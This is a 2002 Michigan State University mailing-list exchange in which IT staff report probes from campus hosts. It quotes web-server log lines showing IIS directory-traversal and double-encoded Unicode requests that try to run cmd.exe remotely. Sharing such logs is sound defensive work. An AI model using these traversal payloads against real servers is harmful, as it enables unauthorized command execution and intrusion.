Not to be a "me-too"er but I have noticed the same from the same IP
addresses on one of our windows boxes. ZoneAlarm showed approximately
400 alerts since 6pm Friday until 8am this morning.




Paul Donahue
Lead Computer/Network Technician
CVM Information Technology Center
A227 VMC, Michigan State University
Phone:  353-5551   Fax:  432-2937

>>> [log in to unmask] 01/21/02 08:51AM >>>
Probes from these hosts started coming in just before 11:00pm Saturday
night:

35.8.164.90 - bigone.hrt.msu.edu
35.8.33.189 - fpc04.nscl.msu.edu
35.8.34.114 - cycpc54.nscl.msu.edu
35.8.33.203 - talon.nscl.msu.edu
35.8.107.198 - No host name in DNS. Domain: llc,
  Language Learning Center in Old Hort


Probe examples:

35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0"
404 327
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0"
404 327
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/syste
m32/cmd.exe?/c+dir HTTP/1.0" 404 343
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
35.8.33.189 - - [21/Jan/2002:08:37:14 -0500] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310

--
Gene Willacker, Systems Analyst
MSU Division of Housing and Food Service
Food Stores Building
171 Service Road
East Lansing, MI 48824-1233
517-353-1691